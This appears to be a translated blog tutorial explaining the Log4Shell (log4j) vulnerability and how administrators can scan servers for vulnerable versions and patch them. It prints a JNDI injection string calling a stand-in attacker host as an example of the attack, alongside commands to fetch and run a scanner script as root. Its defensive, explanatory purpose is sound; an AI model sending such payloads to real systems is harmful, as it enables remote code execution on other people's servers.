How to check if the server is attacked by Log4j (Log4Shell) or not

A critical exploit in the Java library was found not long ago, disrupting much of the Internet causing server administrators to try to fix it. The very vulnerable library, log4j, is used everywhere, so you’ll need to check your servers and make sure they’re up to date.

Join the channel Telegram of the AnonyViet 👉 Link 👈

How does the Log4J vulnerability work?

As it turns out, the log4j vulnerability is by far one of the worst of the past few years, scoring a rare 10/10 on the CVSS scale and will haunt the entire internet for years to come.

What’s worse is that log4j isn’t an application — it’s an open-source library used by many other applications. You can’t install it directly; it can be included in other .jar files or installed by other applications as a dependency.

It basically allows attackers to send text to your application, and if it logs this text somewhere, your server will execute malicious code. The format of the text looks like this: an extremely simple string containing a link to a remote address.

${jndi:ldap://attacker.com/a}

The vulnerable component in log4j is Java Naming and Directory Interface, which allows the framework to log the execution of remote requests. Except it also decrypts the file at the endpoint and can load .class files that contain remote malware.

Is the server vulnerable to the Log4J bug?

This vulnerability was quickly patched in the latest release of log4j, 2.16.0, but the issue remains unresolved. Since log4j is a dependency, finding its specific version on your system may not be straightforward. And, because Java is so popular, many third-party tools and components can use it, so you might not even know if you’re running vulnerable Java software on your machine. are not.

Even if you think you’re not vulnerable, you still need to double-check. This vulnerability affects so many systems that it’s likely that you’re running log4j or Java without realizing it.

Fortunately, JDK versions greater than 6u211, 7u201, 8u191 and 11.0.1 are not affected by the main attack vector (using LDAP) that is currently being exploited the most. You still need to patch it, as it can easily be used with other attack vectors as well. Also, the simple act of making a request to an endpoint can expose data about machines on your network, which is also not a good thing.

The vulnerability also tells you why it’s important to keep a Software Bill of Materials (SBOM), which is basically a list of all the software on your system, where it came from, and how it was made. from where. In the future, this information can help you quickly patch attacks like this.

For now, you just need to be concerned with scanning your system for log4j versions used by the software and making a list of all vulnerable components.

Many people have created scripts to automatically scan the system and find vulnerable installations, such as This popular script is written in Python and this script from security company LunaSec. One of the easiest to use is this simple bash script, it can scan your packages and identify log4j versions and can also tell you whether your system is using Java or not. In most cases you will need to run multiple scans with different scripts, as there is no guarantee that these scripts will be 100% effective in identifying every vulnerable system.

You can download and run it with a few commands. You also need to run the command as root to scan your entire system.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

The results from this script will tell you why this log4j vulnerability is so terrible — running this script on a server shows that it’s very vulnerable, even though I think I haven’t installed it yet Java on this machine because I’m not running any Java software.

Elasticsearch is running in the background on this machine, written in Java. You don’t have to install Java manually to have Elasticsearch; it includes a bundled version of OpenJDK. And it’s stuck to log4j so it’s very easy to exploit.

To patch Elasticsearch, you need to update all packages and follow the mitigation instructions. This can happen with any software you’re running; you will need to update log4j directly, update the software that comes with it, or fix the bug with whatever mitigation method other people are using.

If you can’t patch the jar for some reason, you can use this JVM flag to mitigate the problem, which simply tells log4j to never do any lookups when formatting messages. However, this is not recommended and you should try to install log4j 2.16.0 wherever possible to completely fix the problem.